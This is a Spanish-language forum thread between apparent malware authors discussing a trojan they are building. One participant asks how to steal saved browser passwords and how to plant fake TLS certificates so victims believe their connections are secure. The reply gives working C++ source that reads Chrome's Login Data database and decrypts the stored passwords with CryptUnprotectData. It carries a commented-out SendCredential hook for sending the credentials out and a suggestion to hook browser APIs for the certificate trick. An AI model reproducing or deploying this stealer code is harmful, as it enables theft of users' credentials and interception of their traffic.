Mentor escribió:Buenas, parece un buen troyano. Aunque en mi opinión es fácilmente detectable ya que el no-ip corresponde a tu ordenador y con un simple bot podrían detectar tu ip, es por eso que no apostaría por ese tipo de troyanos, por muy sencillos y eficaces que sean. Yo prefiero optar por troyanos P2P con protocolos propios y actualizaciones, eso es lo mejor para la privacidad, y si es en C++ mejor, ya que no depende de .NET y se puede hacer inyección de DLL con el.
Estoy creando un troyano con las características que ya mencioné y algunas más muy poco frecuentes en un troyano, pero sin embargo, me llama la curiosidad como es capaz de capturar las contraseñas de chrome y firefox, ¿como se hace? Me gustaría aplicarlo a mi troyano.
También, estaría bien saber como instalar un certificado falso en firefox o chrome para falsificar el certificado en las páginas web, haciendoles creer que su navegación es segura cuando no lo es.
Saludos.
No-Ip no vincula a ningún PC sino a IPs (dinámicas normalmente). AutoIt tampoco tiene dependencias y se pueden hacer inyecciones DLL también. Si avanzas en la comunicación P2P me gustaría echarle un vistazo (si es posible) ya que no he encontrado ninguna implementación orientada al malware.
Para la recuperación de contraseñas, para chrome es bastante fácil porque en casi todas las versiones es lo mismo pero con Firefox será más complicado. Cada pocas versiones cambia la forma de guardar las credenciales. Te dejo un source para recuperar las contraseñas de Chrome que hice basándome en un source que encontré.
ChromeRecovery.cpp
#include "ChromeRecovery.hpp"
void GetGoogleChrome(CHROME_VER CVer) {
char szPath[MAX_PATH];
sqlite3 *lpDatabase;
sqlite3_stmt *lpStatement;
const char *lpTail;
char *szURL, *szUsername, *szPassword, *szSource;
DATA_BLOB DataIn, DataOut;
_bSHGetSpecialFolderPathA(0, szPath, 0x1C, 0);
switch(CVer) {
case CHROMEOLD:
strcat(szPath, "\\Google\\Chrome\\User Data\\Default\\Web Data");
szSource = "ChromeOld";
break;
case CHROMENEW:
strcat(szPath, "\\Google\\Chrome\\User Data\\Default\\Login Data");
szSource = "ChromeNew";
break;
}
if(GetFileAttributes(szPath) != 0xFFFFFFFF) {
sqlite3_open(szPath, &lpDatabase);
sqlite3_prepare_v2(lpDatabase, "SELECT * FROM logins", 20, &lpStatement, &lpTail);
do {
DataIn.pbData = (LPBYTE)sqlite3_column_blob(lpStatement, 5);
DataIn.cbData = sqlite3_column_bytes(lpStatement, 5);
if(CryptUnprotectData(&DataIn, 0, 0, 0, 0, 8, &DataOut)) {
szURL = (char*)sqlite3_column_text(lpStatement, 0);
szUsername = (char*)sqlite3_column_text(lpStatement, 3);
szPassword = (char*)DataOut.pbData;
szPassword[DataOut.cbData] = '\0';
cout << "\tURL: " << szURL << endl << "\t\tUser: " << szUsername << endl << "\t\tPassword: " << szPassword << endl;
#ifndef TEST
//SendCredential(szSource, szURL, szUsername, szPassword);
#endif // TEST
}
} while(sqlite3_step(lpStatement) == SQLITE_ROW);
sqlite3_close(lpDatabase);
LocalFree(DataIn.pbData);
LocalFree(DataOut.pbData);
}
}
ChromeRecovery.hpp
#ifndef __CHROME__
#define __CHROME__
#include <iostream>
#include <fstream>
#include <windows.h>
#include <Wincrypt.h>
#include "sqlite3.h"
#include "Util.hpp"
using namespace std;
typedef BOOL ( __stdcall * bSHGetSpecialFolderPathA) (HWND, LPTSTR, int, BOOL);
bSHGetSpecialFolderPathA _bSHGetSpecialFolderPathA = bSHGetSpecialFolderPathA(GetProcAddress(LoadLibraryA("Shell32.dll"), "SHGetSpecialFolderPathA"));
enum CHROME_VER { CHROMEOLD, CHROMENEW};
void GetGoogleChrome(CHROME_VER CVer);
#endif // __CHROME__
[Enlace externo eliminado para invitados]
[Enlace externo eliminado para invitados]
Para lo de los certificados, supongo que tendrás que hookear algunas APIs del navegador.